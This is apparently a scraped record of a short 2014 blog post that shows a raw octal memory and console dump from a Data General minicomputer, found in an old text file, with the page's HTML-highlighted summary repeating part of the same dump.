155555 000432 155555 000433 155555 000434 155555 000435 155555 000436 155555 000437 155555 000440 155555 000441 155555 000442 155555 000443 155555 000444 155555 000445 155555 000446 155555 000447 155555 000450 155555 000451 155555 000452 155555 000453 155555 000454 155555 000455 155555 000456 155555 000457 155555 000460 155555 000461 155555 000462 155555 000463 155555 000464 155555 000465 155555 000466 155555 000467 155555 000470 155555 000471 155555 000472 155555 000473 155555 000474 155555 000475 155555 000476 155555 000477 155555 000500 155555 000501 155555 000502 155555 000503 155555 000504 155555 000505 155555 000506 155555 000507 155555 000510 155555 000511 155555 000512 155555 000513 155555 000514 155555 000515 155555 000516 155555 000517 155555 000520 155555 000521 155555 000522 155555 000523 155555 000524 155555 000525 155555 000526 155555 000527 155555 000530 155555 000531 155555 000532 155555 000533 155555 000534 155555 000535 155555 000536 155555 000537 155555 000540 155555 000541 155555 000542 155555 000543 155555 000544 155555 000545 155555 000546 155555 000547 155555 000550 155555 000551 155555 000552 155555 000553 155555 000554 155555 000555 155555 000556 155555 000557 155555 000560 155555 000561 155555 000562 155555 000563 155555 000564 155555 000565 155555 000566 155555 000567 155555 000570 155555 000571 155555 000572 155555 000573 155555 000574 155555 000575 155555 000576 155555 000577 155555 000600 155555 000601 155555 000602 155555 000603 155555 !400/000400 155555 0 ? ! !400/000400 000000 0 000401 155555 0 000402 155555 0 000403 155555 0 000404 155555 0 000405 155555 0 000406 155555 0 000407 155555 0 000410 155555 0 000411 155555 0 000412 155555 0 000413 155555 0 000414 155555 !400/000400 000000 000401 000000 000402 000000 000403 000000 000404 000000 000405 000000 000406 000000 000407 000000 000410 000000 000411 000000 000412 000000 000413 000000 000414 155555 000415 155555 !p 000356 !1a 000001A 007000 !4a 000004A 100356 100330 !p 000353 !400/000400 000000 000401 000000 000402 000000 000403 000000 000404 000000 000405 000000 000406 000000 000407 000000 000410 000000 000411 000000 000412 000000 000413 000000 000414 155555 000415 155555 000416 155555 000417 155555 000420 155555 000421 155555 000422 155555 000423 155555 000424 155555 000425 155555 000426 155555 000427 155555 000430 155555 000431 155555 000432 155555 000433 155555 000434 155555 000435 155555 000436 155555 000437 155555 000440 155555 !0a 000000A 016000 !500/000500 155555 !31 !4a 000004A 100353 100310 !p 000323 !4a 000004A 100323 100330 !p 000353 !1a 000001A 006000 !a 000000A 056000 !400/000400 155555 000401 155555 000402 155555 000403 155555 000404 155555 000405 155555 000406 155555 000407 155555 000410 155555 000411 155555 000412 155555 000413 155555 000414 155555 000415 155555 000416 155555 000417 155555 000420 155555 000421 155555 000422 155555 000423 155555 000424 155555 000425 155555 000426 155555 000427 155555 000430 155555 000431 155555 000432 155555 000433 155555 000434 155555 000435 155555 000436 155555 000437 155555 000440 155555 000441 155555 000442 155555 000443 155555 000444 155555 000445 155555 000446 155555 000447 155555 000450 155555 000451 155555 000452 155555 000453 155555 000454 155555 000455 155555 000456 155555 000457 155555 000460 155555 000461 155555 000462 155555 000463 155555 000464 155555 000465 155555 000466 155555 000467 155555 000470 155555 000471 155555 000472 155555 000473 155555 000474 155555 000475 155555 000476 155555 000477 155555 000500 155555 000501 155555 000502 155555 000503 155555 000504 155555 000505 155555 000506 155555 000507 155555 000510 155555 !0a 000000A 056000 ? ! !330/000330 020357 20363 !330/000330 020363 20363 000331 061126 61126 000332 063526 63526 000333 000332 332 000334 060626 000335 024360 24364 000336 030361 30365 000337 034362 34366 000340 065126 000341 063526 000342 000341 000343 060726 000344 020363 000345 061126 62026 000346 063526 !344/000344 020363 000345 062026 61026 000346 063526 20324 000347 000346 62026 000350 060726 20325 000351 113415 63126 000352 063077 63526 000353 104010 352 000354 137415 60726 000355 063077 113415 000356 000340 63077 000357 007000 104010 000360 006000 137415 000361 000077 63077 000362 000777 340 000363 000000 7000 000364 113115 6000 000365 010477 77 000366 010423 777 000367 102400 0 !400/000400 155555 0 000401 155555 0 000402 155555 0 000403 155555 !4a 000004A 100353 100330 !p 000357 !0a 000000A 056000 !400/000400 000000 000401 000000 000402 000000 000403 155555 000404 155555 0?0405 155555 !00406 155555 000407 155555 !00410 155555 000411 155555 !00412 155555 !0a 000000A 056000 !1a 000001A 006000 !p 000357 !400/000400 000000 !p 000357 !0a 000000A 056000 !1a 000001A 006002 !344/000344 020363 20367 ? ! !4a 000004A 100357 100330 !p 000357 !0a 000000A 016000 !1a 000001A 006643 !400/000400 155555 000401 155555 000402 155555 000403 155555 000404 155555 000405 155555 000406 155555 000407 155555 000410 155555 000411 155555 000412 155555 000413 155555 000414 155555 000415 155555 000416 155555 000417 155555 000420 155555 000421 155555 000422 155555 000423 155555 000424 155555 000425 155555 000426 155555 000427 155555 000430 155555 !p 000362 !367/000367 000000 55 !4a 000004A 100362 100330 !p 000362 !367/000367 000055 1 !4a 000004A 100362 100330 !p 000357 !0a 000000A 016000 000001A 006621 !400/000400 155555 000401 155555 000402 155555 000403 155555 000404 155555 000405 155555 000406 155555 000407 155555 000410 155555 000411 155555 000412 155555 000413 155555 000414 155555 000415 155555 000416 155555 000417 155555 000420 155555 000421 155555 000422 155555 000423 155555 000424 155555 000425 155555 000426 155555 000427 155555 000430 155555 000431 155555 000432 155555 000433 155555 !400 !400/000400 155555 0 000401 155555 0 000402 155555 !4a 000004A 100357 100330 !p 000357 !400/000400 155555 0 !367/000367 000001 2 !330 !4a 000004A 100357 100330 !p 000357 !0a 000000A 056000 000001A 006000 000002A 000077 !400/000400 155555 !p 000357 !400/000400 155555 !p 000357 !400/000400 155555 !p 000357 !400/000400 155555 !p 000357 !440 !400/000400 155555 !p 000357 !400/000400 155555 !1a 000001A 006627 !0a 000000A 016000 !p 000357 !0a 000000A 016000 000001A 006631 000002A 000077 !400/000400 155555 !p 000357 !400/000400 155555 !p 000357 !p 000357 !p 000357 !p 000357 !p 000357 !p 000357 !p 000357 !p 000357 !p 000357 !400/000400 155555 !p 000357 !400/000400 155555 !p 000357 !400/000400 155555 !p 000357 !400/000400 155555 !p 000357 !p 000357 !400 !400p 000357 !p 000357 !400/000400 155555 !p 000357 !400/000400 155555 !p 000357 !p 000357 !p 000357 !p 000357 !p 000357 !400/000400 155555 !p 000357 !400/000400 155555 !p 000357 !p 000357 !p 000357 !p 000357 !p 000362 !400/000400 155555 !467\\_ !367/000367 000002 3 !4a 000004A 100362 100330 !p 000357 !400/000400 155555 !ü ","permalink":"https://www.deepreflect.net/2014/01/04/data-general/","summary":"\u003cp\u003eFound on an old text file, this is the weird output from a DataGeneral machine:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!a 000000A 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!/000000 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!ÿ\\_ÿ\\_ÿ\\_ÿ\\_\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!a 000000A 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!1a 000001A 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000001A 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000002A 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000003A 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000004A 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000005A 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000006A 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000007A 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000010A 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 000000 300\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 000300\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 000000 020306\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 020306\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000301 000000 061126\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000302 000000 063526\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000303 000000 000302\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000304 000000 064626\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000305 000000 063077\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000306 000000 007000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000307 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 020306\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 020306\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000301 061126\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000302 063526\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000303 000302\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000304 064626\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000305 063077\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000306 007000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000307 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!./000307 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 000300\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 000000 300\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 000000 020306\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000301 000000 061126\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000302 000000 063526\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000303 000000 000302\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000304 000000 064626\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000305 000000 063077\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000306 000000 007000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 020306\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000301 061126\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000302 063526\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000303 000302\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000304 064626\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000305 063077\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000306 007000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000307 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 000300\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 000000 0300\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 000000 1230000\\_\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 003000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 003000 123000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 123000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 000300 /000300 123000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 000000 1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!1a 000001A 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!1a 000001A 000000 2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 000001\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000001A 000002\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000002A 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 123000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!o\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 000000 123000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0\\_300\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 123000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000301 000000 301\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000302 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 123000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000301 000301\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!a 000000A 000000 6\\_\\_\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!6a 000006A 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!20h\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000377\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!6a 000006A 031436\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!a 000000A 000040 4\\_\\_?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100377\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000377\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!6a 000006A 031036\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 123000 300\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 000300\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100377 100300\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000300\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!100/000100 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!100/000100 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000101 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000102 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000103 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000104 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000105 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000106 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000107 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000110 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000111 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000112 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000113 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000114 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000115 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000116 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000117 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000120 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000121 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000122 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000123 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000124 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000125 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000126 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000127 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000130 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000131 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000132 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000133 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000134 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000135 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000136 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000137 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000140 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000141 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000142 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000143 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000144 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000145 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000146 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000147 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000150 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000151 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000152 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000153 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000154 000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 000300 123000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000301 000301 301\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 123000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!300/000300 123000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000301 000301\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!4a 000004A 100300 100300\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!6a 000006A 031036\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 000040 1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000001A 177777 2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000002A 060120\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e000301\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!0a 000000A 000003\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!301/000301 000301 36077\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!301/000301 036077 63077\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!p\n\u003c/span\u003e\u003c/span\u003e\u003cspan 